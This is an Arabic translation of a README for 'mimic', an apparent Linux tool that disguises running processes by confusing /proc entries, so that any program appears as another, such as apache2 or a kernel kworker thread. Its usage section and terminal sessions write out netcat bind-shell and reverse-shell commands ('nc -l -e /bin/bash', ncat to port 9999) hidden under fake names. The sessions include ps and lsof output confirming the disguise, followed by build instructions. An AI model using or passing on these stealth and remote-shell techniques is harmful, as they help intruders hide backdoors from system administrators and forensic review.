
إخفاء العمليات كمستخدم عادي في نظام لينكس.
mimic هي أداة للتنفيذ الخفي على Linux x86_64.
ما هو "التنفيذ الخفي"؟
التنفيذ الخفي هو فن إخفاء عملية. في هذه الحالة، mimic يخفي العملية في مرأى الجميع. mimic يمكنه تشغيل أي برنامج وجعله يبدو مثل أي برنامج آخر. يمكن لأي مستخدم استخدامه. لا يتطلب أذونات خاصة. لا يتطلب ثنائيات خاصة. لا يتطلب روت كيت.
ماذا؟! لا أذونات خاصة؟؟
هذا صحيح. يعمل mimic عن طريق إعادة ترتيب الهياكل الداخلية لعملية بطريقة تربك إدخال /proc لتلك العملية. جميع الأدوات التي تبلغ عن طبيعة عملية تفعل ذلك عن طريق فحص /proc. إذا تمكنا من ثني /proc، يمكننا إخفاء عملية في مرأى الجميع. نظرًا لأننا نغير فقط حالة عملية نملكها، يمكن لأي شخص تشغيل mimic بنجاح.
هل يمكن كشف هذا؟!
بالطبع، ولكن فقط إذا كنت تنظر عن كثب جدًا، أو تشغل أداة جنائية تبحث عن هذا النوع من الأشياء. الفائدة وراء mimic هي أنها ستمنع شخصًا من أن يصبح مشبوهًا في المقام الأول.
هل سيعمل هذا مع النصوص البرمجية؟
نعم، ولكنك تحتاج إلى استدعاء mimic مباشرة على المفسر. على سبيل المثال، إذا كان السطر الأول من النص البرمجي الخاص بك هو "#!/usr/bin/perl" فستحتاج إلى استدعاء mimic بهذه الطريقة:
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl"
من خلال استدعاء المفسر مباشرة، يمكن لـ mimic أن يعمل سحره.
من هو الجمهور المستهدف لـ mimic؟
أي شخص يحتاج بشكل مشروع إلى التنفيذ الخفي قبل الحصول على صلاحيات الجذر. يشمل ذلك، على سبيل المثال لا الحصر:
لماذا يسمى "mimic"؟
لأن "كذاب، كذاب، /proc مشتعل!" كان طويلاً جدًا.
ما هو "set_target_pid"؟
set_target_pid هو برنامج مساعد صغير في مجموعة mimic الذي يستنفد أرقام التعريف حتى يعود الرقم الذي تريده. يتيح لك هذا اختيار مكان جلوس العملية في قائمة العمليات. لاحظ أن النواة تحتفظ بأول 300 pid لخيوط النواة. إذا حاولت الذهاب إلى أقل من ذلك، فمن المحتمل أن ينتهي بك الأمر بالتشغيل بـ pid 301.
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
-e Execute COMMAND.
-m Setup COMMAND to look like MIMIC.
Default for non-root is: "/usr/sbin/apache2 -k start"
Default for root is: "[kworker/0:0]"
-b Launch COMMAND in the background.
-a Add / overwrite KEY to the mimic environment with associated VALUE.
-q Be quiet! Do not print normal output.
-h Print this helpful message.
Notes:
The MIMIC environment will be a copy of the COMMAND environment.
The '_' variable is automatically changed.
The -a flag can be called multiple times to add / overwrite multiple variables.
Examples:
mimic -e /bin/bash
set_target_pid 1 && mimic -e /bin/bash
mimic -b -e "./revsh"
mimic -b -e "nc -l -e /bin/bash"
mimic -b -e "nc -l -e \"mimic -e /bin/bash\""
المثال الأول - تشغيل مستمع netcat كمستخدم عادي:
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child... Success!
Waiting for child to attach... Success!
Initializing ptrace_do... Success!
Determining stack state... Success!
Politely requesting name change... Success!
Searching for main()... Success!
Building execution headers... Success!
Setting up final state... Success!
Good-bye and have a good luck! :)
empty@monkey:~$ ps aux | grep apache
empty 1931 19.5 0.0 16648 1324 pts/1 S 21:41 0:02 /usr/sbin/apache2 -k start
empty 1935 0.0 0.0 7596 836 pts/1 S+ 21:41 0:00 grep apache
empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty:
apache2 1931 empty 3u IPv6 14462 0t0 TCP *:31337 (LISTEN)
apache2 1931 empty 4u IPv4 14463 0t0 TCP *:31337 (LISTEN)
المثال الثاني - تشغيل شل عكسية netcat كجذر:
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"
هل يمكنك رؤية الـ kworkers المزيفة؟ هل ستكون قادرًا على ذلك دون مساعدة grep؟
root@monkey:~$ ps aux | grep kworker | grep -v grep
root 18 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/3:0]
root 197 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:3]
root 198 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:4]
root 199 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:5]
root 302 23.4 0.0 18748 1912 pts/5 S 22:28 0:02 [kworker/0:0]
root 304 11.4 0.0 3780 296 pts/5 S 22:28 0:00 [kworker/0:0]
root 305 10.8 0.0 10644 1200 pts/5 S 22:28 0:00 [kworker/0:0]
root 426 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/1:0]
root 434 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/3:2]
root 536 0.0 0.0 0 0 ? S 20:12 0:00 [kworker/0:0]
root 879 0.0 0.0 0 0 ? S 20:39 0:00 [kworker/2:0]
root 1463 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/1:2]
root 2132 0.0 0.0 0 0 ? S 19:47 0:00 [kworker/2:2]
root 2607 0.0 0.0 0 0 ? S 20:01 0:01 [kworker/0:1]
بالطبع، لا ينبغي لأي kworker أن يكون لديه مقبس مفتوح، لكنني متأكد من أنه يمكنك أن تكون أكثر إبداعًا في اختياراتك للتسمية من هذا. :)
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0 302 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 304 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 305 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
لاحظ أنني أشغل هنا كجذر فقط لأن خيط kworker يجب أن يكون مريبًا جدًا إذا تم تشغيله كمستخدم غير جذر. اسم mimic الجديد هو مجرد سلسلة نصية. لا يجب أن يكون عملية موجودة. بحق الجحيم، لا يجب أن يكون شيئًا حقيقيًا!
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"
empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty 399 2.9 0.0 3780 300 pts/4 S 22:34 0:00 Totally not a rootkit!
empty 400 2.7 0.0 19372 2044 pts/4 S 22:34 0:00 Totally not a rootkit!
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..
git clone https://github.com/emptymonkey/mimic.git
cd mimic
make